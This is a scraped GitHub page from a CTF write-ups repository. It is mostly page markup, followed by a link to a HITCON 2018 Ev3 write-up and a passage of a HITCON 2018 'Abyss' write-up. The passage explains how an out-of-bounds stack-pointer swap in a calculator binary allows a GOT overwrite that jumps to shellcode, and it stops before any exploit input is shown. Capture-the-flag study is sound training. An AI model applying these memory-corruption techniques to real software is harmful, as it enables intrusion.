1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>12</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":142745576,"originating_url":"https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/Pico%20CTF%202018/contacts","user_id":null}}" data-hydro-click-hmac="0c28afdbb4ce6a6f8733d4010ff914911630b0de72c0a78b844a7e2e3feee8be"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>Pico CTF 2018</span></span><span>/</span>contacts<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>Pico CTF 2018</span></span><span>/</span>contacts<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/tree-commit/1c47fb1fb361cd62e314ab6d919e0892f33f8efc/Pico%20CTF%202018/contacts" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/file-list/master/Pico%20CTF%202018/contacts"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
Ev3 Basic WriteUp tl;dr Wireshark + Knowledge on ev3 protocol Link to write-up : https://volatilevirus.home.blog/2018/10/22/hitcon-ctf18-ev3-basic-challenge-write-up/
# HITCON 2018 - Abyss >The Edge of the Abyss>`nc 35.200.23.198 31733`>[abyss-09ca5eaf281f657a90cab1803f81bdd9.tar.gz](https://s3-ap-northeast-1.amazonaws.com/hitcon2018qual/abyss-09ca5eaf281f657a90cab1803f81bdd9.tar.gz) For this challenge we were provided with an archive containing various files, including 3 flags, a hypervisor binary, a kernel binary and a user binary, with instructions to run the system with `./hypervisor.elf kernel.bin ld.so.2 ./user.elf`. Given there were challenges Abyss I, II and III, I immediately assumed that we would have to pwn each binary in turn, starting from `user.elf`. # System OverviewBefore I started looking at pwning `user.elf`, I spent some time reversing all of the binaries to better understand how it all fit together. The main job of `hypervisor.elf` is to create a KVM virtual machine via the KVM API (`/dev/kvm`), and then service any hypercalls made by the VM. Interestingly when the hypervisor sets up the control registers of the VM, the `NXE` bit is not set in `EFER`, which means NX is disabled within the VM. This was an exciting discovery as it meant that if we could control the instruction pointer within the VM, then we could just jump to our shellcode in memory, massively simplifying our exploitation process. The hypervisor also opens `kernel.bin` and copies the code into address 0 of the VM, before starting execution of the VM at this address. The kernel then runs `ld.so.2 ./user.elf` which loads `user.elf` and executes it. `user.elf` is essentially a reverse polish notation calculator (although you can't easily provide two operands for a given operator, e.g. `2 3 +`, but that doesn't matter), which internally uses an evaluation stack to push and pop operands to/from. Some of the operations it supports are `add`, `sub`, `swap`, and `rot`. # Part 1 - I - 230pts The first thing we needed to do was find a vulnerability in `user.elf`. Looking over the code I soon noticed an off-by-one null byte overflow with the `scanf` which reads the input. The `scanf` uses the format string `%1024s`, which reads a string up to 1024 bytes long, and then a null byte is added. The input buffer was only 1024 bytes long, meaning the null byte overflowed into a loop index, however this loop index is initialised to 0 before use anyway, so this was useless. Next I noticed that both `swap` and `rot` move items around on the evaluation stack without checking the bounds of the evaluation stack pointer. Conveniently the eval stack pointer is positioned directly before the first item in the evaluation stack array. Therefore if the eval stack pointer was at `empty1`, you could use the swap operator (`\`) to swap the top two stack items, i.e. the eval stack pointer with `item0`, which you control. Now the evaluation stack is actually pointing to wherever you want it to and by pushing values to it you can write at your desired location.```[eval stack ptr] [ [item0] [empty1] ... ] ^-- eval stack ptr ^-- swapped --^``` ![Evaluation stack .bss layout](/2018/2018_10_20_HITCON/abyss/images/eval_stack_ptr.png) Thankfully `user.elf` was partial RELRO, meaning we could overwrite a GOT entry with the above technique. The plan was to write a GOT entry with the address of our shellcode (which we put at the end of the input buffer in `.bss`). However, the binary is PIE and there were no leaks, so we had to do some gymnastics with the GOT entries to get a pointer to our shellcode. I did this by adding an offset to a known pointer (unresolved `write` entry which pointed into the PLT) and then swapping DWORDs along until I swapped the low DWORD of the unreslved `printf` entry with our adjusted low DWORD, to form a pointer which pointed to our shellcode. We then triggered `printf` with the `writed` command (`.`), which jumped to our shellcode. The input string I used which overwrote the GOT address to point to the input buffer was 